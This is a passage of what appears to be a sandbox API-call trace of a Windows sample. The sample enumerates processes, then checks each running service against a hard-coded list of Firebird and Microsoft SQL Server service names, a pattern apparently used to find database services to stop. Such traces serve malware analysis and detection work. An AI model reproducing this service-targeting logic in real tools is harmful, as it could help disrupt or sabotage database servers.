	[0095.717] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x13a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0095.717] lstrlenW (lpString="cmd.exe") returned 7
	[0095.717] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x10cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0095.718] lstrlenW (lpString="conhost.exe") returned 11
	[0095.718] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0095.719] lstrlenW (lpString="dllhost.exe") returned 11
	[0095.719] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1
	[0095.719] lstrlenW (lpString="TrustedInstaller.exe") returned 20
	[0095.719] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1
	[0095.720] lstrlenW (lpString="LogonUI.exe") returned 11
	[0095.720] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0
	[0095.721] CloseHandle (hObject=0x358) returned 1
	[0095.721] Sleep (dwMilliseconds=0x1f4) 
	[0096.754] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x53efb8
	[0096.755] EnumServicesStatusExW (in: hSCManager=0x53efb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0096.756] GetLastError () returned 0xea
	[0096.756] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1ddc) returned 0x3e949e0
	[0096.756] EnumServicesStatusExW (in: hSCManager=0x53efb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3e949e0, cbBufSize=0x1ddc, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3e949e0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0096.757] CloseServiceHandle (hSCObject=0x53efb8) returned 1
	[0096.757] lstrlenW (lpString="Appinfo") returned 7
	[0096.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0096.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0096.757] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0096.757] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0096.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0096.758] lstrlenW (lpString="AppXSvc") returned 7
	[0096.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0096.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0096.758] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0096.758] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0096.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0096.758] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0096.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0096.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0096.758] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0096.758] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0096.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0096.758] lstrlenW (lpString="Audiosrv") returned 8
	[0096.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0096.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0096.758] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0096.758] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0096.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0096.758] lstrlenW (lpString="BFE") returned 3
	[0096.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0096.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0096.758] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0096.758] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0096.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0096.758] lstrlenW (lpString="BITS") returned 4
	[0096.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0096.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0096.758] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0096.758] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0096.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0096.758] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0096.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0096.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0096.758] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0096.758] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0096.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0096.758] lstrlenW (lpString="CDPSvc") returned 6
	[0096.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0096.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0096.759] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0096.759] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0096.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0096.759] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0096.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0096.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0096.759] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0096.759] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0096.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0096.759] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0096.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0096.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0096.759] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0096.759] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0096.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0096.759] lstrlenW (lpString="CryptSvc") returned 8
	[0096.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0096.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0096.759] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0096.759] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0096.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0096.759] lstrlenW (lpString="DcomLaunch") returned 10
	[0096.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0096.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0096.759] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0096.759] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0096.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0096.759] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0096.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0096.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0096.759] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0096.759] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0096.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0096.759] lstrlenW (lpString="Dhcp") returned 4
	[0096.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0096.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0096.760] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0096.760] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0096.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0096.760] lstrlenW (lpString="Dnscache") returned 8
	[0096.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0096.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0096.760] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0096.760] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0096.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0096.760] lstrlenW (lpString="DoSvc") returned 5
	[0096.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0096.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0096.760] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0096.760] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0096.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0096.760] lstrlenW (lpString="DPS") returned 3
	[0096.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0096.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0096.760] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0096.760] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0096.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0096.760] lstrlenW (lpString="DusmSvc") returned 7
	[0096.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0096.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0096.760] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0096.760] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0096.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0096.760] lstrlenW (lpString="EventLog") returned 8
	[0096.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0096.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0096.760] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0096.760] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0096.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0096.760] lstrlenW (lpString="EventSystem") returned 11
	[0096.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0096.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0096.761] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0096.761] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0096.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0096.761] lstrlenW (lpString="FontCache") returned 9
	[0096.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0096.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0096.761] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0096.761] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0096.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0096.761] lstrlenW (lpString="gpsvc") returned 5
	[0096.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0096.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0096.761] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0096.761] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0096.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0096.761] lstrlenW (lpString="iphlpsvc") returned 8
	[0096.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0096.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0096.761] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0096.761] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0096.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0096.761] lstrlenW (lpString="KeyIso") returned 6
	[0096.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0096.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0096.761] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0096.761] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0096.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0096.761] lstrlenW (lpString="LanmanServer") returned 12
	[0096.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0096.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0096.761] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0096.761] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0096.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0096.761] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0096.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0096.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0096.762] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0096.762] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0096.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0096.762] lstrlenW (lpString="lfsvc") returned 5
	[0096.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0096.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0096.762] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0096.762] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0096.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0096.762] lstrlenW (lpString="lmhosts") returned 7
	[0096.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0096.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0096.762] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0096.762] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0096.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0096.762] lstrlenW (lpString="LSM") returned 3
	[0096.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0096.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0096.762] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0096.762] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0096.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0096.762] lstrlenW (lpString="MapsBroker") returned 10
	[0096.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0096.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0096.762] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0096.762] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0096.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0096.762] lstrlenW (lpString="MpsSvc") returned 6
	[0096.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0096.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0096.762] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0096.762] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0096.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0096.762] lstrlenW (lpString="NcbService") returned 10
	[0096.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0096.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0096.763] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0096.763] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0096.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0096.763] lstrlenW (lpString="netprofm") returned 8
	[0096.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0096.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0096.763] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0096.763] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0096.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0096.763] lstrlenW (lpString="NlaSvc") returned 6
	[0096.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0096.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0096.763] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0096.763] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0096.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0096.763] lstrlenW (lpString="nsi") returned 3
	[0096.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0096.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0096.923] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0096.923] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0096.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0096.923] lstrlenW (lpString="PcaSvc") returned 6
	[0096.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0096.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0096.924] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0096.924] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0096.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0096.924] lstrlenW (lpString="PlugPlay") returned 8
	[0096.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0096.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0096.924] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0096.924] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0096.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0096.924] lstrlenW (lpString="Power") returned 5
	[0096.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0096.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0096.924] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0096.924] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0096.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0096.924] lstrlenW (lpString="ProfSvc") returned 7
	[0096.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0096.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0096.924] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0096.924] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0096.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0096.924] lstrlenW (lpString="RpcEptMapper") returned 12
	[0096.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0096.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0096.924] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0096.924] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0096.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0096.925] lstrlenW (lpString="RpcSs") returned 5
	[0096.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0096.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0096.925] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0096.925] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0096.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0096.925] lstrlenW (lpString="SamSs") returned 5
	[0096.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0096.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0096.925] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0096.925] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0096.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0096.925] lstrlenW (lpString="Schedule") returned 8
	[0096.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0096.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0096.925] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0096.925] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0096.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0096.925] lstrlenW (lpString="SecurityHealthService") returned 21
	[0096.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0096.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0096.925] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0096.925] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0096.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0096.925] lstrlenW (lpString="SENS") returned 4
	[0096.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0096.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0096.926] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0096.926] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0096.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0096.926] lstrlenW (lpString="ShellHWDetection") returned 16
	[0096.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0096.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0096.926] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0096.926] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0096.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0096.926] lstrlenW (lpString="Spooler") returned 7
	[0096.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0096.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0096.926] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0096.926] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0096.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0096.926] lstrlenW (lpString="SSDPSRV") returned 7
	[0096.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0096.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0096.926] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
